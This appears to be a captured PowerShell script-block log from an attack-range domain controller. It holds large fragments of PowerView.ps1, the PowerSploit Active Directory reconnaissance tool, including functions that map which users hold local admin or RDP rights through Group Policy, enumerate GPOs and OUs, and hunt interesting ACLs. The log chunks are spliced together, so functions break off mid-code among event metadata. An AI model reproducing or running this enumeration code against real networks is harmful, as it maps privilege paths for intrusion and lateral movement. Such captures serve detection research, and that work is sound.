.PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOLocalGroup Returns all local groups set by GPO along with their members and memberof. .EXAMPLE Get-DomainGPOLocalGroup -ResolveMembersToSIDs Returns all local groups set by GPO along with their members and memberof, and resolve any members to their domain SIDs. .EXAMPLE '{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup Return any GPO-set groups for the GPO with the given name/GUID. .EXAMPLE Get-DomainGPOLocalGroup 'Desktops' Return any GPO-set groups for the GPO with the given display name. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOLocalGroup -Credential $Cred .LINK https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOGroup')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $ResolveMembersToSIDs, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainGPO @SearcherArguments | ForEach-Object { $GPOdisplayName = $_.displayname $GPOname = $_.name $GPOPath = $_.gpcfilesyspath $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists $Inf = Get-GptTmpl @ParseArgs if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { $Memberships = @{} # parse the members/memberof fields for each entry ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} # extract out ALL members $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} if ($PSBoundParameters['ResolveMembersToSIDs']) { # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach ($Member in $MembershipValue) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { $ConvertToArguments = @{'ObjectName' = $Member} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID @ConvertToArguments if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $MembershipValue = $GroupMembers } if (-not $Memberships[$Group]) { $Memberships[$Group] = @{} } if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} $Memberships[$Group].Add($Relation, $MembershipValue) } ForEach ($Membership in $Memberships.GetEnumerator()) { if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') if ($GroupSID -and ($GroupSID.Trim() -ne '')) { $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments } else { $GroupName = $False } } else { $GroupName = $Membership.Key if ($GroupName -and ($GroupName.Trim() -ne '')) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } elseif ($GroupName.Trim() -ne '') { $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $GroupSID = ConvertTo-SID @ConvertToArguments } else { $GroupSID = $Null } } } $GPOGroup = New-Object PSObject $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' $GPOGroup | Add-Member Noteproperty 'Filters' $Null $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $GPOGroup } } # now try to the parse group policy preferences file (Groups.xml) if it exists $ParseArgs = @{ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" } Get-GroupsXML @ParseArgs | ForEach-Object { if ($PSBoundParameters['ResolveMembersToSIDs']) { $GroupMembers = @() ForEach ($Member in $_.GroupMembers) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { # if the resulting member is username and not a SID, attempt to resolve it $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $_.GroupMembers = $GroupMembers } $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $_ | Add-Member Noteproperty 'GPOName' $GPOName $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $_ } } } } function Get-DomainGPOUserLocalGroupMapping { <# .SYNOPSIS Enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation. If no user/group is specified, all discoverable mappings are returned. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup .DESCRIPTION Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. It does this by: 1. resolving the user/group to its proper SID 2. enumerating all groups the user/group is a current part of and extracting all target SIDs to build a target SID list 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling Get-DomainGPOLocalGroup 4. matching the target SID list to the queried GPO SID list to enumerate all GPO the user is effectively applied with 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating 6. querying for all computers under the given OUs or sites If no user/group is specified, all user/group -> machine mappings discovered through GPO relationships are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the user/group to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check accesd123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x02372870Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2541tents) { $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath $Contents } } else { $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop if ($Contents) { $Contents['Path'] = $TargetGptTmplPath $Contents } } } catch { Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-GroupsXML { <# .SYNOPSIS Helper to parse a groups.xml file path into a custom object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID .DESCRIPTION Parses a groups.xml into a custom object. If -Credential is passed, Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. .PARAMETER GroupsXMLpath Specifies the groups.xml file path name to parse. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .OUTPUTS PowerView.GroupsXML #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GroupsXML')] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Path')] [String] $GroupsXMLPath, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { $Groupname = $_.Properties.groupName # extract the localgroup sid for memberof $GroupSID = $_.Properties.groupSid if (-not $GroupSID) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } else { if ($PSBoundParameters['Credential']) { $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential } else { $GroupSID = ConvertTo-SID -ObjectName $Groupname } } } # extract out members added to this group $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { if ($_.sid) { $_.sid } else { $_.name } } if ($Members) { # extract out any/all filters...I hate you GPP if ($_.filters) { $Filters = $_.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } else { $Filters = $Null } if ($Members -isnot [System.Array]) { $Members = @($Members) } $GroupsXML = New-Object PSObject $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath $GroupsXML | Add-Member Noteproperty 'Filters' $Filters $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') $GroupsXML } } } catch { Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-DomainGPO { <# .SYNOPSIS Return all GPOs or specific GPO objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all GPO objects for the current domain are returned. To enumerate all GPOs that are applied to a particular machine, use -ComputerName X. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ComputerIdentity Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). .PARAMETER UserIdentity Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainGPO -Domain testlab.local Return all GPOs for the testlab.local domain .EXAMPLE Get-DomainGPO -ComputerName windows1.testlab.local Returns all GPOs applied windows1.testlab.local .EXAMPLE "{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display name of "Test GPO" .EXAMPLE Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPO -Credential $Cred .OUTPUTS PowerView.GPO Custom PSObject with translated GPO property fields. PowerView.GPO.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GPO')] [OutputType('PowerView.GPO.Raw')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Parameter(ParameterSetName = 'ComputerIdentity')] [Alias('ComputerName')] [ValidateNotNullOrEmpty()] [String] $ComputerIdentity, [Parameter(ParameterSetName = 'UserIdentity')] [Alias('UserName')] [ValidateNotNullOrEmpty()] [String] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $GPOSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($GPOSearcher) { if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { $GPOAdsPaths = @() if ($SearcherArguments['Properties']) { $OldProperties = $SearcherArguments['Properties'] } $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' $TargetComputerName = $Null if ($PSBoundParameters['ComputerIdentity']) { $SearcherArguments['Identity'] = $ComputerIdentity $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 if(-not $Computer) { Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" } $ObjectDN = $Computer.distinguishedname $TargetComputerName = $Computer.dnshostname } else { $SearcherArguments['Identity'] = $UserIdentity $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 if(-not $User) { Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" } $ObjectDN = $User.distinguishedname } # extract all OUs the target user/computer is a part of $ObjectOUs = @() $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { if($_.startswith('OU=')) { $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) } } Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" if ($ObjectOUs) { # find all the GPOs linked to the user/computer's OUs $SearcherArguments.Remove('Properties') $InheritanceDisabled = $False ForEach($ObjectOU in $ObjectOUs) { $SearcherArguments['Identity'] = $ObjectOU $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { # extract any GPO links for this particular OU the computer is a part of if ($_.gplink) { $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $Parts = $_.split(';') $GpoDN = $Parts[0] $Enforced = $Parts[1] if ($InheritanceDisabled) { # if inheritance has already been disabled and this GPO is set as "enforced" # then add it, otherwise ignore it if ($Enforced -eq 2) { $GpoDN } } else { # inheritance not marked as disabled yet $GpoDN } } } } # if this OU has GPO inheritence disabled, break so additional OUs aren't processed if ($_.gpoptions -eq 1) { $InheritanceDisabled = $True } } } } if ($TargetComputerName) { # find all the GPOs linked to the computer's site $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $SearcherArguments['Identity'] = $ComputerSite $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular site the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } } } # find any GPOs linked to the user/computer's domain $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) $SearcherArguments.Remove('Identity') $SearcherArguments.Remove('Properties') $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular domain the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" # restore the old properites to return, if set if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } else { $SearcherArguments.Remove('Properties') } $SearcherArguments.Remove('Identity') $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { # use the gplink as an ADS path to enumerate all GPOs for the computer $SearcherArguments['SearchBase'] = $_ $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" Get-DomainObject @SearcherArguments | ForEach-Object { if ($PSBoundParameters['Raw']) { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $_ } } } else { $IdentityFilter = '' $Filter = '' d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x02372863Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1841 $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments # "IdentityReferenceDN: $IdentityReferenceDN" if ($IdentityReferenceDN) { $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' # "IdentityReferenceDomain: $IdentityReferenceDomain" $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN # "IdentityReferenceDN: $IdentityReferenceDN" $Object = Get-DomainObject @ObjectSearcherArguments if ($Object) { $IdentityReferenceName = $Object.Properties.samaccountname[0] if ($Object.Properties.objectclass -match 'computer') { $IdentityReferenceClass = 'computer' } elseif ($Object.Properties.objectclass -match 'group') { $IdentityReferenceClass = 'group' } elseif ($Object.Properties.objectclass -match 'user') { $IdentityReferenceClass = 'user' } else { $IdentityReferenceClass = $Null } # save so we don't look up more than once $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } } else { Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" } } } } } } } function Get-DomainOU { <# .SYNOPSIS Search for all organization units (OUs) or specific OU objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all OU objects for the current domain are returned. .PARAMETER Identity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. .PARAMETER GPLink Only return OUs with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER FindOne Only return one result object. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainOU Returns the current OUs in the domain. .EXAMPLE Get-DomainOU *admin* -Domain testlab.local Returns all OUs with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all OUs with linked to the specified group policy object. .EXAMPLE "*admin*","*server*" | Get-DomainOU Search for OUs with the specific names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainOU -Credential $Cred .OUTPUTS PowerView.OU Custom PSObject with translated OU property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.OU')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OUSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($OUSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^OU=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $OUSearcher = Get-DomainSearcher @SearcherArguments if (-not $OUSearcher) { Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for 